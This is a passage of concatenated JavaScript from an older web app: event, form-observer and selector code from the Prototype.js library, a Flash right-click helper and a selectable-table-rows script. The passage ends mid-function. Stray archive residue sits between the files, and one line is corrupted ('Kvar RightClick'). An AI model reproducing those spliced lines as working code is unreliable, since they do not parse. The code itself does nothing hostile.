function selectMany(element) {
var values, length = element.length;
if (!length) return null;

for (var i = 0, values = []; i < length; i++) {
var opt = element.options[i];
if (opt.selected) values.push(optionValue(opt));
}
return values;
}

function optionValue(opt) {
return Element.hasAttribute(opt, 'value') ? opt.value : opt.text;
}

return {
input:         input,
inputSelector: inputSelector,
textarea:      valueSelector,
select:        select,
selectOne:     selectOne,
selectMany:    selectMany,
optionValue:   optionValue,
button:        valueSelector
};
})();

/*--------------------------------------------------------------------------*/


Abstract.TimedObserver = Class.create(PeriodicalExecuter, {
initialize: function($super, element, frequency, callback) {
$super(callback, frequency);
this.element   = $(element);
this.lastValue = this.getValue();
},

execute: function() {
var value = this.getValue();
if (Object.isString(this.lastValue) && Object.isString(value) ?
this.lastValue != value : String(this.lastValue) != String(value)) {
this.callback(this.element, value);
this.lastValue = value;
}
}
});

Form.Element.Observer = Class.create(Abstract.TimedObserver, {
getValue: function() {
return Form.Element.getValue(this.element);
}
});

Form.Observer = Class.create(Abstract.TimedObserver, {
getValue: function() {
return Form.serialize(this.element);
}
});

/*--------------------------------------------------------------------------*/

Abstract.EventObserver = Class.create({
initialize: function(element, callback) {
this.element  = $(element);
this.callback = callback;

this.lastValue = this.getValue();
if (this.element.tagName.toLowerCase() == 'form')
this.registerFormCallbacks();
else
this.registerCallback(this.element);
},

onElementEvent: function() {
var value = this.getValue();
if (this.lastValue != value) {
this.callback(this.element, value);
this.lastValue = value;
}
},

registerFormCallbacks: function() {
Form.getElements(this.element).each(this.registerCallback, this);
},

registerCallback: function(element) {
if (element.type) {
switch (element.type.toLowerCase()) {
case 'checkbox':
case 'radio':
Event.observe(element, 'click', this.onElementEvent.bind(this));
break;
default:
Event.observe(element, 'change', this.onElementEvent.bind(this));
break;
}
}
}
});

Form.Element.EventObserver = Class.create(Abstract.EventObserver, {
getValue: function() {
return Form.Element.getValue(this.element);
}
});

Form.EventObserver = Class.create(Abstract.EventObserver, {
getValue: function() {
return Form.serialize(this.element);
}
});
(function(GLOBAL) {
var DIV = document.createElement('div');
var docEl = document.documentElement;
var MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED = 'onmouseenter' in docEl
&& 'onmouseleave' in docEl;

var Event = {
KEY_BACKSPACE: 8,
KEY_TAB:       9,
KEY_RETURN:   13,
KEY_ESC:      27,
KEY_LEFT:     37,
KEY_UP:       38,
KEY_RIGHT:    39,
KEY_DOWN:     40,
KEY_DELETE:   46,
KEY_HOME:     36,
KEY_END:      35,
KEY_PAGEUP:   33,
KEY_PAGEDOWN: 34,
KEY_INSERT:   45
};


var isIELegacyEvent = function(event) { return false; };

if (window.attachEvent) {
if (window.addEventListener) {
isIELegacyEvent = function(event) {
return !(event instanceof window.Event);
};
} else {
isIELegacyEvent = function(event) { return true; };
}
}

var _isButton;

function _isButtonForDOMEvents(event, code) {
return event.which ? (event.which === code + 1) : (event.button === code);
}

var legacyButtonMap = { 0: 1, 1: 4, 2: 2 };
function _isButtonForLegacyEvents(event, code) {
return event.button === legacyButtonMap[code];
}

function _isButtonForWebKit(event, code) {
switch (code) {
case 0: return event.which == 1 && !event.metaKey;
case 1: return event.which == 2 || (event.which == 1 && event.metaKey);
case 2: return event.which == 3;
default: return false;
}
}

if (window.attachEvent) {
if (!window.addEventListener) {
_isButton = _isButtonForLegacyEvents;
} else {
_isButton = function(event, code) {
return isIELegacyEvent(event) ? _isButtonForLegacyEvents(event, code) :
_isButtonForDOMEvents(event, code);
}
}
} else if (Prototype.Browser.WebKit) {
_isButton = _isButtonForWebKit;
} else {
_isButton = _isButtonForDOMEvents;
}

function isLeftClick(event)   { return _isButton(event, 0) }

function isMiddleClick(event) { return _isButton(event, 1) }

function isRightClick(event)  { return _isButton(event, 2) }

function element(event) {
return Element.extend(_element(event));
}

function _element(event) {
event = Event.extend(event);

var node = event.target, type = event.type,
currentTarget = event.currentTarget;

if (currentTarget && currentTarget.tagName) {
if (type === 'load' || type === 'error' ||
(type === 'click' && currentTarget.tagName.toLowerCase() === 'input'
&& currentTarget.type === 'radio'))
node = currentTarget;
}

return node.nodeType == Node.TEXT_NODE ? node.parentNode : node;
}

function findElement(event, expression) {
var element = _element(event), selector = Prototype.Selector;
if (!expression) return Element.extend(element);
while (element) {
if (Object.isElement(element) && selector.match(element, expression))
return Element.extend(element);
element = element.parentNode;
}
}

function pointer(event) {
return { x: pointerX(event), y: pointerY(event) };
}

function pointerX(event) {
var docElement = document.documentElement,
body = document.body || { scrollLeft: 0 };

return event.pageX || (event.clientX +
(docElement.scrollLeft || body.scrollLeft) -
(docElement.clientLeft || 0));
}

function pointerY(event) {
var docElement = document.documentElement,
body = document.body || { scrollTop: 0 };

return  event.pageY || (event.clientY +
(docElement.scrollTop || body.scrollTop) -
(docElement.clientTop || 0));
}


function stop(event) {
Event.extend(event);
event.preventDefault();
event.stopPropagation();

event.stopped = true;
}


Event.Methods = {
isLeftClick:   isLeftClick,
isMiddleClick: isMiddleClick,
isRightClick:  isRightClick,

element:     element,
findElement: findElement,

pointer:  pointer,
pointerX: pointerX,
pointerY: pointerY,

stop: stop
};

var methods = Object.keys(Event.Methods).inject({ }, function(m, name) {
m[name] = Event.Methods[name].methodize();
return m;
});

if (window.attachEvent) {
function _relatedTarget(event) {
var element;
switch (event.type) {
case 'mouseover':
case 'mouseenter':
element = event.fromElement;
break;
case 'mouseout':
case 'mouseleave':
element = event.toElement;
break;
default:
return null;
}
return Element.extend(element);
}

var additionalMethods = {
stopPropagation: function() { this.cancelBubble = true },
preventDefault:  function() { this.returnValue = false },
inspect: function() { return '[object Event]' }
};

Event.extend = function(event, element) {
if (!event) return false;

if (!isIELegacyEvent(event)) return event;

if (event._extendedByPrototype) return event;
event._extendedByPrototype = Prototype.emptyFunction;

var pointer = Event.pointer(event);

Object.extend(event, {
target: event.srcElement || element,
relatedTarget: _relatedTarget(event),
pageX:  pointer.x,
pageY:  pointer.y
});

Object.extend(event, methods);
Object.extend(event, additionalMethods);

return event;
};
} else {
Event.extend = Prototype.K;
}

if (window.addEventListener) {
Event.prototype = window.Event.prototype || document.createEvent('HTMLEvents').__proto__;
Object.extend(Event.prototype, methods);
}

var EVENT_TRANSLATIONS = {
mouseenter: 'mouseover',
mouseleave: 'mouseout'
};

function getDOMEventName(eventName) {
return EVENT_TRANSLATIONS[eventName] || eventName;
}

if (MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED)
getDOMEventName = Prototype.K;

function getUniqueElementID(element) {
if (element === window) return 0;

if (typeof element._prototypeUID === 'undefined')
element._prototypeUID = Element.Storage.UID++;
return element._prototypeUID;
}

function getUniqueElementID_IE(element) {
if (element === window) return 0;
if (element == document) return 1;
return element.uniqueID;
}

if ('uniqueID' in DIV)
getUniqueElementID = getUniqueElementID_IE;

function isCustomEvent(eventName) {
return eventName.include(':');
}

Event._isCustomEvent = isCustomEvent;

function getOrCreateRegistryFor(element, uid) {
var CACHE = GLOBAL.Event.cache;
if (Object.isUndefined(uid))
uid = getUniqueElementID(element);
if (!CACHE[uid]) CACHE[uid] = { element: element };
return CACHE[uid];
}

function destroyRegistryForElement(element, uid) {
if (Object.isUndefined(uid))
uid = getUniqueElementID(element);
delete GLOBAL.Event.cache[uid];
}


function register(element, eventName, handler) {
var registry = getOrCreateRegistryFor(element);
if (!registry[eventName]) registry[eventName] = [];
var entries = registry[eventName];

var i = entries.length;
while (i--)
if (entries[i].handler === handler) return null;

var uid = getUniqueElementID(element);
var responder = GLOBAL.Event._createResponder(uid, eventName, handler);
var entry = {
responder: responder,
handler:   handler
};

entries.push(entry);
return entry;
}

function unregister(element, eventName, handler) {
var registry = getOrCreateRegistryFor(element);
var entries = registry[eventName] || [];

var i = entries.length, entry;
while (i--) {
if (entries[i].handler === handler) {
entry = entries[i];
break;
}
}

if (entry) {
var index = entries.indexOf(entry);
entries.splice(index, 1);
}

if (entries.length === 0) {
delete registry[eventName];
if (Object.keys(registry).length === 1 && ('element' in registry))
destroyRegistryForElement(element);
}

return entry;
}


function observe(element, eventName, handler) {
element = $(element);
var entry = register(element, eventName, handler);

if (entry === null) return element;

var responder = entry.responder;
if (isCustomEvent(eventName))
observeCustomEvent(element, eventName, responder);
else
observeStandardEvent(element, eventName, responder);

return element;
}

function observeStandardEvent(element, eventName, responder) {
var actualEventName = getDOMEventName(eventName);
if (element.addEventListener) {
element.addEventListener(actualEventName, responder, false);
} else {
element.attachEvent('on' + actualEventName, responder);
}
}

function observeCustomEvent(element, eventName, responder) {
if (element.addEventListener) {
element.addEventListener('dataavailable', responder, false);
} else {
element.attachEvent('ondataavailable', responder);
element.attachEvent('onlosecapture',   responder);
}
}

function stopObserving(element, eventName, handler) {
element = $(element);
var handlerGiven = !Object.isUndefined(handler),
eventNameGiven = !Object.isUndefined(eventName);

if (!eventNameGiven && !handlerGiven) {
stopObservingElement(element);
return element;
}

if (!handlerGiven) {
stopObservingEventName(element, eventName);
return element;
}

var entry = unregister(element, eventName, handler);

if (!entry) return element;
removeEvent(element, eventName, entry.responder);
return element;
}

function stopObservingStandardEvent(element, eventName, responder) {
var actualEventName = getDOMEventName(eventName);
if (element.removeEventListener) {
element.removeEventListener(actualEventName, responder, false);
} else {
element.detachEvent('on' + actualEventName, responder);
}
}

function stopObservingCustomEvent(element, eventName, responder) {
if (element.removeEventListener) {
element.removeEventListener('dataavailable', responder, false);
} else {
element.detachEvent('ondataavailable', responder);
element.detachEvent('onlosecapture',   responder);
}
}



function stopObservingElement(element) {
var uid = getUniqueElementID(element), registry = GLOBAL.Event.cache[uid];
if (!registry) return;

destroyRegistryForElement(element, uid);

var entries, i;
for (var eventName in registry) {
if (eventName === 'element') continue;

entries = registry[eventName];
i = entries.length;
while (i--)
removeEvent(element, eventName, entries[i].responder);
}
}

function stopObservingEventName(element, eventName) {
var registry = getOrCreateRegistryFor(element);
var entries = registry[eventName];
if (entries) {
delete registry[eventName];
}

entries = entries || [];

var i = entries.length;
while (i--)
removeEvent(element, eventName, entries[i].responder);

for (var name in registry) {
if (name === 'element') continue;
return; // There is another registered event
}

destroyRegistryForElement(element);
}


function removeEvent(element, eventName, handler) {
if (isCustomEvent(eventName))
stopObservingCustomEvent(element, eventName, handler);
else
stopObservingStandardEvent(element, eventName, handler);
}



function getFireTarget(element) {
if (element !== document) return element;
if (document.createEvent && !element.dispatchEvent)
return document.documentElement;
return element;
}

function fire(element, eventName, memo, bubble) {
element = getFireTarget($(element));
if (Object.isUndefined(bubble)) bubble = true;
memo = memo || {};

var event = fireEvent(element, eventName, memo, bubble);
return Event.extend(event);
}

function fireEvent_DOM(element, eventName, memo, bubble) {
var event = document.createEvent('HTMLEvents');
event.initEvent('dataavailable', bubble, true);

event.eventName = eventName;
event.memo = memo;

element.dispatchEvent(event);
return event;
}

function fireEvent_IE(element, eventName, memo, bubble) {
var event = document.createEventObject();
event.eventType = bubble ? 'ondataavailable' : 'onlosecapture';

event.eventName = eventName;
event.memo = memo;

element.fireEvent(event.eventType, event);
return event;
}

var fireEvent = document.createEvent ? fireEvent_DOM : fireEvent_IE;



Event.Handler = Class.create({
initialize: function(element, eventName, selector, callback) {
this.element   = $(element);
this.eventName = eventName;
this.selector  = selector;
this.callback  = callback;
this.handler   = this.handleEvent.bind(this);
},


start: function() {
Event.observe(this.element, this.eventName, this.handler);
return this;
},

stop: function() {
Event.stopObserving(this.element, this.eventName, this.handler);
return this;
},

handleEvent: function(event) {
var element = Event.findElement(event, this.selector);
if (element) this.callback.call(this.element, event, element);
}
});

function on(element, eventName, selector, callback) {
element = $(element);
if (Object.isFunction(selector) && Object.isUndefined(callback)) {
callback = selector, selector = null;
}

return new Event.Handler(element, eventName, selector, callback).start();
}

Object.extend(Event, Event.Methods);

Object.extend(Event, {
fire:          fire,
observe:       observe,
stopObserving: stopObserving,
on:            on
});

Element.addMethods({
fire:          fire,

observe:       observe,

stopObserving: stopObserving,

on:            on
});

Object.extend(document, {
fire:          fire.methodize(),

observe:       observe.methodize(),

stopObserving: stopObserving.methodize(),

on:            on.methodize(),

loaded:        false
});

if (GLOBAL.Event) Object.extend(window.Event, Event);
else GLOBAL.Event = Event;

GLOBAL.Event.cache = {};

function destroyCache_IE() {
GLOBAL.Event.cache = null;
}

if (window.attachEvent)
window.attachEvent('onunload', destroyCache_IE);

DIV = null;
docEl = null;
})(this);

(function(GLOBAL) {
/* Code for creating leak-free event responders is based on work by
John-David Dalton. */

var docEl = document.documentElement;
var MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED = 'onmouseenter' in docEl
&& 'onmouseleave' in docEl;

function isSimulatedMouseEnterLeaveEvent(eventName) {
return !MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED &&
(eventName === 'mouseenter' || eventName === 'mouseleave');
}

function createResponder(uid, eventName, handler) {
if (Event._isCustomEvent(eventName))
return createResponderForCustomEvent(uid, eventName, handler);
if (isSimulatedMouseEnterLeaveEvent(eventName))
return createMouseEnterLeaveResponder(uid, eventName, handler);

return function(event) {
if (!Event.cache) return;

var element = Event.cache[uid].element;
Event.extend(event, element);
handler.call(element, event);
};
}

function createResponderForCustomEvent(uid, eventName, handler) {
return function(event) {
var cache = Event.cache[uid];
var element =  cache && cache.element;

if (Object.isUndefined(event.eventName))
return false;

if (event.eventName !== eventName)
return false;

Event.extend(event, element);
handler.call(element, event);
};
}

function createMouseEnterLeaveResponder(uid, eventName, handler) {
return function(event) {
var element = Event.cache[uid].element;

Event.extend(event, element);
var parent = event.relatedTarget;

while (parent && parent !== element) {
try { parent = parent.parentNode; }
catch(e) { parent = element; }
}

if (parent === element) return;
handler.call(element, event);
}
}

GLOBAL.Event._createResponder = createResponder;
docEl = null;
})(this);

(function(GLOBAL) {
/* Support for the DOMContentLoaded event is based on work by Dan Webb,
Matthias Miller, Dean Edwards, John Resig, and Diego Perini. */

var TIMER;

function fireContentLoadedEvent() {
if (document.loaded) return;
if (TIMER) window.clearTimeout(TIMER);
document.loaded = true;
document.fire('dom:loaded');
}

function checkReadyState() {
if (document.readyState === 'complete') {
document.detachEvent('onreadystatechange', checkReadyState);
fireContentLoadedEvent();
}
}

function pollDoScroll() {
try {
document.documentElement.doScroll('left');
} catch (e) {
TIMER = pollDoScroll.defer();
return;
}

fireContentLoadedEvent();
}


if (document.readyState === 'complete') {
fireContentLoadedEvent();
return;
}

if (document.addEventListener) {
document.addEventListener('DOMContentLoaded', fireContentLoadedEvent, false);
} else {
document.attachEvent('onreadystatechange', checkReadyState);
if (window == top) TIMER = pollDoScroll.defer();
}

Event.observe(window, 'load', fireContentLoadedEvent);
})(this);


Element.addMethods();
/*------------------------------- DEPRECATED -------------------------------*/

Hash.toQueryString = Object.toQueryString;

var Toggle = { display: Element.toggle };

Element.addMethods({
childOf: Element.Methods.descendantOf
});

var Insertion = {
Before: function(element, content) {
return Element.insert(element, {before:content});
},

Top: function(element, content) {
return Element.insert(element, {top:content});
},

Bottom: function(element, content) {
return Element.insert(element, {bottom:content});
},

After: function(element, content) {
return Element.insert(element, {after:content});
}
};

var $continue = new Error('"throw $continue" is deprecated, use "return" instead');

var Position = {
includeScrollOffsets: false,

prepare: function() {
this.deltaX =  window.pageXOffset
|| document.documentElement.scrollLeft
|| document.body.scrollLeft
|| 0;
this.deltaY =  window.pageYOffset
|| document.documentElement.scrollTop
|| document.body.scrollTop
|| 0;
},

within: function(element, x, y) {
if (this.includeScrollOffsets)
return this.withinIncludingScrolloffsets(element, x, y);
this.xcomp = x;
this.ycomp = y;
this.offset = Element.cumulativeOffset(element);

return (y >= this.offset[1] &&
y <  this.offset[1] + element.offsetHeight &&
x >= this.offset[0] &&
x <  this.offset[0] + element.offsetWidth);
},

withinIncludingScrolloffsets: function(element, x, y) {
var offsetcache = Element.cumulativeScrollOffset(element);

this.xcomp = x + offsetcache[0] - this.deltaX;
this.ycomp = y + offsetcache[1] - this.deltaY;
this.offset = Element.cumulativeOffset(element);

return (this.ycomp >= this.offset[1] &&
this.ycomp <  this.offset[1] + element.offsetHeight &&
this.xcomp >= this.offset[0] &&
this.xcomp <  this.offset[0] + element.offsetWidth);
},

overlap: function(mode, element) {
if (!mode) return 0;
if (mode == 'vertical')
return ((this.offset[1] + element.offsetHeight) - this.ycomp) /
element.offsetHeight;
if (mode == 'horizontal')
return ((this.offset[0] + element.offsetWidth) - this.xcomp) /
element.offsetWidth;
},


cumulativeOffset: Element.Methods.cumulativeOffset,

positionedOffset: Element.Methods.positionedOffset,

absolutize: function(element) {
Position.prepare();
return Element.absolutize(element);
},

relativize: function(element) {
Position.prepare();
return Element.relativize(element);
},

realOffset: Element.Methods.cumulativeScrollOffset,

offsetParent: Element.Methods.getOffsetParent,

page: Element.Methods.viewportOffset,

clone: function(source, target, options) {
options = options || { };
return Element.clonePosition(target, source, options);
}
};

/*--------------------------------------------------------------------------*/

if (!document.getElementsByClassName) document.getElementsByClassName = function(instanceMethods){
function iter(name) {
return name.blank() ? null : "[contains(concat(' ', @class, ' '), ' " + name + " ')]";
}

instanceMethods.getElementsByClassName = Prototype.BrowserFeatures.XPath ?
function(element, className) {
className = className.toString().strip();
var cond = /\s/.test(className) ? $w(className).map(iter).join('') : iter(className);
return cond ? document._getElementsByXPath('.//*' + cond, element) : [];
} : function(element, className) {
className = className.toString().strip();
var elements = [], classNames = (/\s/.test(className) ? $w(className) : null);
if (!classNames && !className) return elements;

var nodes = $(element).getElementsByTagName('*');
className = ' ' + className + ' ';

for (var i = 0, child, cn; child = nodes[i]; i++) {
if (child.className && (cn = ' ' + child.className + ' ') && (cn.include(className) ||
(classNames && classNames.all(function(name) {
return !name.toString().blank() && cn.include(' ' + name + ' ');
}))))
elements.push(Element.extend(child));
}
return elements;
};

return function(className, parentElement) {
return $(parentElement || document.body).getElementsByClassName(className);
};
}(Element.Methods);

/*--------------------------------------------------------------------------*/

Element.ClassNames = Class.create();
Element.ClassNames.prototype = {
initialize: function(element) {
this.element = $(element);
},

_each: function(iterator, context) {
this.element.className.split(/\s+/).select(function(name) {
return name.length > 0;
})._each(iterator, context);
},

set: function(className) {
this.element.className = className;
},

add: function(classNameToAdd) {
if (this.include(classNameToAdd)) return;
this.set($A(this).concat(classNameToAdd).join(' '));
},

remove: function(classNameToRemove) {
if (!this.include(classNameToRemove)) return;
this.set($A(this).without(classNameToRemove).join(' '));
},

toString: function() {
return $A(this).join(' ');
}
};

Object.extend(Element.ClassNames.prototype, Enumerable);

/*--------------------------------------------------------------------------*/

(function() {
window.Selector = Class.create({
initialize: function(expression) {
this.expression = expression.strip();
},

findElements: function(rootElement) {
return Prototype.Selector.select(this.expression, rootElement);
},

match: function(element) {
return Prototype.Selector.match(element, this.expression);
},

toString: function() {
return this.expression;
},

inspect: function() {
return "#<Selector: " + this.expression + ">";
}
});

Object.extend(Selector, {
matchElements: function(elements, expression) {
var match = Prototype.Selector.match,
results = [];

for (var i = 0, length = elements.length; i < length; i++) {
var element = elements[i];
if (match(element, expression)) {
results.push(Element.extend(element));
}
}
return results;
},

findElement: function(elements, expression, index) {
index = index || 0;
var matchIndex = 0, element;
for (var i = 0, length = elements.length; i < length; i++) {
element = elements[i];
if (Prototype.Selector.match(element, expression) && index === matchIndex++) {
return Element.extend(element);
}
}
},

findChildElements: function(element, expressions) {
var selector = expressions.toArray().join(', ');
return Prototype.Selector.select(selector, element || document);
}
});
})();
'O js\rightclick.js
Kvar RightClick = {
/**
*  Constructor
*/
init: function () {
this.FlashObjectID = "rcxcontrol";
// this.FlashContainerID only used in case of IE < 11
this.FlashContainerID = "rxcontrolContOutl";
this.Cache = this.FlashObjectID;
if(window.addEventListener){
window.addEventListener("mousedown", this.onGeckoMouseDown(), true);
window.addEventListener("mouseup",   this.onGeckoMouseUp(),   true);
} else {
var e = document.getElementById(this.FlashContainerID);
document.oncontextmenu = function () {
if (window.event.srcElement.id == RightClick.FlashObjectID) {
return false;
} else {
RightClick.Cache = "nan";
}
}
e.onmousedown = RightClick.onIEMouseDown;
e.onmouseup = RightClick.onIEMouseUp;
}
},

/**
* GECKO / WEBKIT event overkill
* @param {Object} eventObject
*/
killEvents: function(eventObject) {
if(eventObject) {
if (eventObject.stopPropagation) eventObject.stopPropagation();
if (eventObject.preventDefault) eventObject.preventDefault();
}
},

/**
* GECKO / WEBKIT call right click
* @param {Object} ev
*/
onGeckoMouseUp: function(ev) {
return function(ev) {
if (ev.button != 0) {
RightClick.killEvents(ev);
if(ev.target.id == RightClick.FlashObjectID && RightClick.Cache == RightClick.FlashObjectID) {
RightClick.call(false);
}
RightClick.Cache = ev.target.id;
}
}
},

onGeckoMouseDown: function(ev) {
return function(ev) {
if (ev.button != 0) {
RightClick.killEvents(ev);
if(ev.target.id == RightClick.FlashObjectID && RightClick.Cache == RightClick.FlashObjectID) {
RightClick.call(true);
}
RightClick.Cache = ev.target.id;
}
}
},

/**
* IE < 11 call right click
* @param {Object} ev
*/
onIEMouseDown: function() {
if (event.button > 1) {
if(window.event.srcElement.id == RightClick.FlashObjectID && RightClick.Cache == RightClick.FlashObjectID) {
RightClick.call(true);
}
document.getElementById(RightClick.FlashContainerID).setCapture();
if(window.event.srcElement.id) {
RightClick.Cache = window.event.srcElement.id;
}
}
},

onIEMouseUp: function() {
if (event.button > 1) {
if(window.event.srcElement.id == RightClick.FlashObjectID && RightClick.Cache == RightClick.FlashObjectID) {
RightClick.call(false);
}
document.getElementById(RightClick.FlashContainerID).releaseCapture();
if (window.event.srcElement.id) {
RightClick.Cache = window.event.srcElement.id;
}
}
},

/**
* Main call to Flash External Interface
*/
call: function(down) {
var e = document.getElementById(this.FlashObjectID);
if (down) {
if(typeof(e.browserRightButtonDownCallback)!="undefined") {
e.browserRightButtonDownCallback();
}
} else {
if(typeof(e.browserRightButtonUpCallback)!="undefined") {
e.browserRightButtonUpCallback();
}
}
}
}
SMZ0js\selectableelements.js'2
function SelectableElements(oElement, bMultiple) {
if (oElement == null)
return;

var ie = navigator.userAgent.indexOf('MSIE') < 0 ? false : true;
this._htmlElement = oElement;
this._multiple = Boolean(bMultiple);

this._selectedItems = [];
this._fireChange = true;

var oThis = this;
var f = function (e) {
if (e == null) e = oElement.ownerDocument.parentWindow.event;
oThis.click(e);
};

var oRows = oElement.getElementsByTagName("tr");
var f_hilite = function (e) { if (e == null) e = oElement.ownerDocument.parentWindow.event; oThis.lite(e,true); return true; };
var f_lolite = function (e) { if (e == null) e = oElement.ownerDocument.parentWindow.event; oThis.lite(e,false); };
for (var i = 0; i < oRows.length; i++) {
oElement = oRows[i];
if (oElement.addEventListener) {
oElement.addEventListener("mouseover", f_hilite, false);
oElement.addEventListener("mouseout", f_lolite, false);
oElement.addEventListener("click", f, false);
}
else if (oElement.attachEvent) {
oElement.attachEvent("onmouseover", f_hilite);
oElement.attachEvent("onmouseout", f_lolite);
oElement.attachEvent("onclick", f);
}
oCols = oElement.getElementsByTagName("td");
for (var j = 0; j < oCols.length; j++) {
oCols[j].style.cursor = ie ? "hand" : "pointer";
}
}
}

SelectableElements.prototype.setItemSelected = function(oEl, bSelected) {
if (!this._multiple) {
if (bSelected) {
var old = this._selectedItems[0]
if (oEl == old)
return;
if (old != null)
this.setItemSelectedUi(old, false);
this.setItemSelectedUi(oEl, true);
this._selectedItems = [oEl];
this.fireChange();
}
else {
if (this._selectedItems[0] == oEl) {
this.setItemSelectedUi(oEl, false);
this._selectedItems = [];
}
}
}
else {
if (Boolean(oEl._selected) == Boolean(bSelected))
return;

this.setItemSelectedUi(oEl, bSelected);

if (bSelected)
this._selectedItems[this._selectedItems.length] = oEl;
else {
// remove
var tmp = [];
var j = 0;
for (var i = 0; i < this._selectedItems.length; i++) {
if (this._selectedItems[i] != oEl)
tmp[j++] = this._selectedItems[i];
}
this._selectedItems = tmp;
}
this.fireChange();
}
};

// This method updates the UI of the item
SelectableElements.prototype.setItemSelectedUi = function(oEl, bSelected) {
if (bSelected)
addClassName(oEl, "selected");
else
removeClassName(oEl, "selected");

oEl._selected = bSelected;		
};

SelectableElements.prototype.getItemSelected = function(oEl) {
return Boolean(oEl._selected);
};

SelectableElements.prototype.fireChange = function() {
if (!this._fireChange)
return;
if (typeof this.onchange == "string")
this.onchange = new Function(this.onchange);
if (typeof this.onchange == "function")
this.onchange();
};

SelectableElements.prototype.lite = function(e, hi) {
// find row
var el = e.target != null ? e.target : e.srcElement;
while (el != null && !this.isItem(el)) el = el.parentNode;
// ignore selected items (already highlighted)
if (el != null && (!hi || !el._selected)) {
if (hi)
addClassName(el, "hilited");
else
removeClassName(el, "hilited");
}
};

SelectableElements.prototype.click = function(e) {
var oldFireChange = this._fireChange;
this._fireChange = false;

// create a copy to compare with after changes
var selectedBefore = this.getSelectedItems();	// is a cloned array

// find row
var el = e.target != null ? e.target : e.srcElement;
while (el != null && !this.isItem(el))
el = el.parentNode;

if (el == null) {	// happens in IE when down and up occur on different items
this._fireChange = oldFireChange;
return;
}

// remove hilite
removeClassName(el, "hilited");

var rIndex = el;
var aIndex = this._anchorIndex;

// test whether the current row should be the anchor
if (this._selectedItems.length == 0 || (e.ctrlKey && !e.shiftKey && this._multiple)) {
aIndex = this._anchorIndex = rIndex;
}

if (!e.ctrlKey && !e.shiftKey || !this._multiple) {
// deselect all
var items = this._selectedItems;
for (var i = items.length - 1; i >= 0; i--) {
if (items[i]._selected && items[i] != el)
this.setItemSelectedUi(items[i], false);
}
this._anchorIndex = rIndex;
if (!el._selected) {
this.setItemSelectedUi(el, true);
}
this._selectedItems = [el];
}

// ctrl
else if (this._multiple && e.ctrlKey && !e.shiftKey) {
this.setItemSelected(el, !el._selected);
this._anchorIndex = rIndex;
}

// ctrl + shift
else if (this._multiple && e.ctrlKey && e.shiftKey) {
// up or down?
var dirUp = this.isBefore(rIndex, aIndex);

var item = aIndex;
while (item != null && item != rIndex) {
if (!item._selected && item != el)
this.setItemSelected(item, true);
item = dirUp ? this.getPrevious(item) : this.getNext(item);
}

if (!el._selected)
this.setItemSelected(el, true);
}

// shift
else if (this._multiple && !e.ctrlKey && e.shiftKey) {
// up or down?
var dirUp = this.isBefore(rIndex, aIndex);

// deselect all
var items = this._selectedItems;
for (var i = items.length - 1; i >= 0; i--)
this.setItemSelectedUi(items[i], false);
this._selectedItems = [];

// select items in range
var item = aIndex;
while (item != null) {
this.setItemSelected(item, true);
if (item == rIndex)
break;
item = dirUp ? this.getPrevious(item) : this.getNext(item);
}
}

// find change!!!	
var found;
var changed = selectedBefore.length != this._selectedItems.length;
if (!changed) {
for (var i = 0; i < selectedBefore.length; i++) {
found = false;
for (var j = 0; j < this._selectedItems.length; j++) {
if (selectedBefore[i] == this._selectedItems[j]) {
found = true;
break;
}
}
if (!found) {
changed = true;
break;
}
}	
}

this._fireChange = oldFireChange;
if (changed && this._fireChange)
this.fireChange();
}

SelectableElements.prototype.getSelectedItems = function() {
//clone
var items = this._selectedItems;
var l = items.length;
var tmp = new Array(l);
for (var i = 0; i < l; i++)
tmp[i] = items[i];
return tmp;
};

SelectableElements.prototype.isItem = function(node) {
return node != null && node.nodeType == 1 && node.parentNode == this._htmlElement;
};

SelectableElements.prototype.getNext = function(el) {
var n = el.nextSibling;
if (n == null || this.isItem(n))
return n;
return this.getNext(n);
};

SelectableElements.prototype.getPrevious = function(el) {
var p = el.previousSibling;
if (p == null || this.isItem(p))
return p;
return this.getPrevious(p);
};

SelectableElements.prototype.isBefore = function(n1, n2) {
var next = this.getNext(n1);
while (next != null) {
if (next == n2)
return true;
next = this.getNext(next);
}
return false;
};

SelectableElements.prototype.getItems = function () {
var tmp = [];
var j = 0;
var cs = this._htmlElement.childNodes;
var l = cs.length;
for (var i = 0; i < l; i++) {
if (cs[i].nodeType == 1)
tmp[j++] = cs[i]
}
return tmp;
};

SelectableElements.prototype.getItem = function (nIndex) {
var j = 0;
var cs = this._htmlElement.childNodes;
var l = cs.length;
for (var i = 0; i < l; i++) {
if (cs[i].nodeType == 1) {
if (j == nIndex)
return cs[i];
j++;
}
}
return null;
};

SelectableElements.prototype.getSelectedIndexes = function () {
var items = this.getSelectedItems();
var l = items.length;
var tmp = new Array(l);
for (var i = 0; i < l; i++)
tmp[i] = this.getItemIndex(items[i]);
return tmp;
};

SelectableElements.prototype.getItemIndex = function (el) {
var j = 0;
var cs = this._htmlElement.childNodes;
var l = cs.length;
for (var i = 0; i < l; i++) {
if (cs[i] == el)
return j;
if (cs[i].nodeType == 1)
j++;
}
return -1;
};

function addClassName(el, sClassName) {
var s = el.className;
var p = s.split(" ");
var l = p.length;
for (var i = 0; i < l; i++) {
if (p[i] == sClassName)
return;
}
p[p.length] = sClassName;
el.className = p.join(" ");

}

function removeClassName(el, sClassName) {
var s = el.className;
var p = s.split(" ");
var np = [];
var l = p.length;
var j = 0;
for (var i = 0; i < l; i++) {
if (p[i] != sClassName)
np[j++] = p[i];
}
el.className = np.join(" ");
}

function SelectableTableRows(oTableElement, bMultiple) {
if ("undefined" == typeof ScriptEngine)
var version = 1;
else
var version = ScriptEngineMajorVersion();
if (version > 5)
SelectableElements.call(this, oTableElement, bMultiple);
else {
// old browser
if (oTableElement == null)
return;
this._htmlElement = oTableElement;
this._multiple = Boolean(bMultiple);
this._selectedItems = [];
this._fireChange = true;
var ie = navigator.userAgent.indexOf('MSIE') < 0 ? false : true;
var oThis = this;
var f = function (e) {
if (e == null) e = oTableElement.ownerDocument.parentWindow.event;
oThis.click(e);
};
var oRows = oTableElement.getElementsByTagName("tr");
var f_hilite = function (e) { if (e == null) e = oTableElement.ownerDocument.parentWindow.event; oThis.lite(e,true); return true;};
var f_lolite = function (e) { if (e == null) e = oTableElement.ownerDocument.parentWindow.event; oThis.lite(e,false); };
for (var i = 0; i < oRows.length; i++) {
oTableElement = oRows[i];
if (oTableElement.addEventListener) {
